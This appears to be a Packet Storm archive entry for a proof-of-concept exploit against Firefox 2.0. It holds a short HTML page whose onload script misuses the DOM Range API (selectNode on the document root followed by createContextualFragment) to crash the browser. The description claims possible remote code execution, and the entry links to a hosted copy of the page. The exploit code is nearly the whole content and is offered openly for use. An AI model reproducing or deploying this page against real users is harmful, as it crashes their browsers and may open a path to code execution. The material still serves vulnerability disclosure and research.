PoC code that crashes firefox 2.0 possibly leading to remote code execution.
6a394bb1f45d75060115fa3597b610b679c49e34afab8cb2bc7681dea672eb9aNew Flaw in Firefox 2.0: DoS and possible remote code execution
PoC here: http://werterxyz.altervista.org/Firefox2Range.htm
<!DOCTYPE html PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN">
<html>
<head>
<script type="text/javascript">
function do_crash()
{
var range;
range = document.createRange();
range.selectNode(document.firstChild);
range.createContextualFragment('<span></span>');
}
</script>
</head>
<body onload="do_crash()">
<p>Good bye Firefox!</p>
</body>
</html>
© 2022 Packet Storm. All rights reserved.
%7Cutmcsr%3D(direct)%7Cutmcmd%3D(none)){kind=small}
Follow us on Twitter
Follow us on Facebook
Subscribe to an RSS Feed